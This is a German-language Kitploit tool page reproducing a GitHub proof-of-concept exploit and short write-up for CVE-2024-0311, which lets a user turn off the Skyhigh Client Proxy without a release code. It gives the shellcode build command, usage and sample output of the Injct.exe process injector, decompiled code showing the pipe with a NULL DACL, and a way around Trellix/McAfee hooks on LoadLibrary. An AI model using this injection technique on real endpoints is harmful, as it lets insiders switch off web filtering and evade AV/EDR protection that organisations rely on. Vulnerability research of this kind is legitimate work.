Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-0311 — Proof-of-Concept-Exploit für CVE-2024-0311 zur Umgehung der Skyhigh Client Proxy-Richtlinie mittels Prozessinjektion und Named-Pipe-Manipulation, mit benutzerdefiniertem Shellcode zur Umgehung von AV-/EDR-Einschränkungen. | Kitploit
Tools/GitHubGitHub/calligraf0/cve-2024-0311
Privilege EscalationExploitationIDS/IPS-UmgehungReverse EngineeringShellcodePayload-EntwicklungBinary-Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Proof-of-Concept-Exploit für CVE-2024-0311 zur Umgehung der Skyhigh Client Proxy-Richtlinie mittels Prozessinjektion und Named-Pipe-Manipulation, mit benutzerdefiniertem Shellcode zur Umgehung von AV-/EDR-Einschränkungen.

Repository anzeigen
9215vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-0311 ?

Dies ist ein PoC für das, was ich glaube, dass es CVE-2024-0311 bzw. SB10418 ist.

Ein böswilliger Insider kann die bestehende Richtlinie des Skyhigh Client Proxy umgehen, ohne einen gültigen Freigabecode zu besitzen.

Viele Details. Sehr Exploit. ¯\(ツ)/¯

Der PoC injiziert in einen benutzergesteuerten SCPBypass.exe-Prozess und schreibt in die Pipe von SCPService.exe: \\.\pipe\MCPTrayPipe0. Die Injektion ist notwendig, da, selbst wenn die Pipe RW Everyone ist, einige Prüfungen durch WGUARDNT (der Schreiber-Pfad wird überprüft) auf die ausführbare Datei durchgeführt werden, die in die Pipe schreibt, siehe unten.

Ein Beispiel-Shellcode wird bereitgestellt, der die Ausführung von WriteFile auf die Pipe ermöglicht, selbst wenn Trellix/McAfee laufen und LoadLibrary hooken/blockieren.

Kompilieren

Erstellen Sie im Debug- oder Release-Modus über Visual Studio

Shellcode

Generieren Sie Shellcode via:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

Ersetzen Sie dann den Shellcode in shellcode.c.

Verwendung

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Rufen Sie SetNamedPipeHandleState nicht auf. Der Shellcode validiert den Zeiger auf SetNamedPipeHandleState, bevor er ihn aufruft.
*  debugon: Setzen Sie einen Breakpoint im Shellcode (0xcc an Offset 0) und erzeugen Sie einen Thread, um die Named Pipe zu binden. Nicht in der Produktion verwenden.

Beispielausgabe:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Wenn alles gut gelaufen ist, sollten Sie in den SCP-Protokolldateien einen Eintrag finden, der diesem ähnelt:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Writeup

Dies wird ein kurzes Writeup sein, denn niemand hat Zeit für viele Worte.

Skyhigh Proxy Client

Zunächst einmal: Was ist Skyhigh Proxy Client?

Die Skyhigh Security Client Proxy-Software hilft, Ihre Endpunktbenutzer vor Sicherheitsbedrohungen zu schützen, die beim Zugriff auf das Web innerhalb oder außerhalb Ihres Netzwerks auftreten. Die Client-Software, die auf Endpunkten mit Microsoft Windows oder macOS installiert ist, leitet Webanfragen um oder erlaubt ihnen, zur Filterung an einen Proxy weitergeleitet zu werden. Die Server-Software läuft auf einer der Verwaltungsplattformen: Trellix ePO SaaS oder Trellix ePO Cloud.

Das sollte klarstellen.

Was ist die Ursache?

Angesichts der Informationen aus dem Advisory gibt es nicht viel, worauf man sich stützen könnte. Um ehrlich zu sein, habe ich den binären Dienst auf einfach ausnutzbare Schwachstellen für LPE untersucht, als ich CreateNamedPipe sah und interessiert wurde.

Hier ist ein schneller Copy-Paste des dekompilierten Codes aus Ghidra:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Wie wir sehen, wird, sobald die Funktion aufgerufen wird, eine neue DACL-Struktur initialisiert und eine neue Pipe \\.\pipe\MCPTrayPipe0 im Byte-Modus erstellt.

Dann liest das Programm, solange das Handle auf diese Pipe gültig ist, daraus und versucht, die gesendeten Bytes mit atoi(out_lpBuffer) von ASCII in int zu konvertieren. Abgesehen davon, dass es bessere Alternativen zu atoi gibt, wird angenommen, dass der Aufruf von atoi nicht fehlgeschlagen ist, und der konvertierte Wert wird an FUN_14022d5b0 übergeben:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

welches SetWaitableTimer aufruft. Zeichenketten hier haben ein wenig geholfen, den gewünschten Ablauf zu erkennen.

Der Hauptpunkt hier ist, dass der Prozess ScpService.exe keine Überprüfungen darüber durchführt, wer was in die Pipe schreibt; die Daten werden blind vertraut und weitergegeben. Darüber hinaus ergibt die Überprüfung der Berechtigungen der Pipe mit accesschk, dass die Pipe RW Everyone ist.

Der Exploit sollte also im Wesentlichen Folgendes tun:

  • CreateFile(): ein Handle auf die Pipe erhalten
  • SetNamedPipeHandleState(): den Byte-Modus setzen
  • WriteFile(): Daten schreiben
  • CloseHandle(): das Handle schließen

Dies kann buchstäblich mit ein paar Zeilen Powershell erledigt werden. Einfacher Sieg, oder? Nein.

Warum injizieren?

Wenn die Dinge nur so einfach wären! Während es technisch gesehen alles so zu funktionieren schien, führte das Öffnen der Pipe immer dazu, dass der Pipe-Client eine Zeitüberschreitung hatte. Bei einer tieferen Untersuchung stellten wir fest, dass der Dienst irgendwo anders eine ACL einrichtete.

ACL

Der standardmäßige Sicherheitsdeskriptor, der von ScpService verwendet wird, wird wie folgt initialisiert:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Dies stellt eine DACL dar, die niemandem Zugriff gewährt.

Wenn die discretionary access control list (DACL), die zum Sicherheitsdeskriptor eines Objekts gehört, auf NULL gesetzt ist, wird eine NULL-DACL erstellt. Eine NULL-DACL gewährt jedem Benutzer, der dies anfordert, vollen Zugriff; es wird keine normale Sicherheitsüberprüfung in Bezug auf das Objekt durchgeführt. Eine NULL-DACL sollte nicht mit einer leeren DACL verwechselt werden. Eine leere DACL ist eine ordnungsgemäß zugewiesene und initialisierte DACL, die keine Zugriffssteuerungseinträge (ACEs) enthält. Eine leere DACL gewährt keinen Zugriff auf das Objekt, dem sie zugewiesen ist.

Höchstwahrscheinlich wird die ACE/DACL an \\.\WGUARDNT delegiert, was eine Schutzschicht (McAfee?) zu sein scheint, die für die Gewährung des Zugriffs auf eine begrenzte Liste von Objekten verantwortlich ist:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Versuch 1

Nun, wenn die verbundene ausführbare Datei gegen eine Liste bekannter ausführbarer Dateien/Pfade geprüft wird und da SCPBypass.exe, das mit den Berechtigungen unseres Benutzers ausgeführt wird, in einer Liste vertrauenswürdiger Apps zu sein scheint, könnten wir dann nicht einfach eine DLL in den SCPBypass.exe-Prozess injizieren? Absolut! Schade nur, dass Trellix/McAfee Sie daran hindern wird, LoadLibrary aufzurufen.

Daher das ungenutzte InjmeDLL im Projekt.

Versuch 2 (endgültig)

Wir haben uns am Ende für eine schnelle und schmutzige Lösung entschieden, die von @wolfcod zusammengestellt wurde: Injizieren Sie einfach einen Shellcode, der das Nötige tut, da der Prozess ohnehin bereits alles geladen hat. Anstatt den Syscall direkt aufzurufen oder andere Tricks zu versuchen, funktionierte diese einfache Lösung für unseren Anwendungsfall einwandfrei.

Dies führte schließlich zur Umgehung der vom AV/EDR-System auferlegten Beschränkungen und zu einem funktionierenden Exploit.

👋 Prost.

Tool herunterladen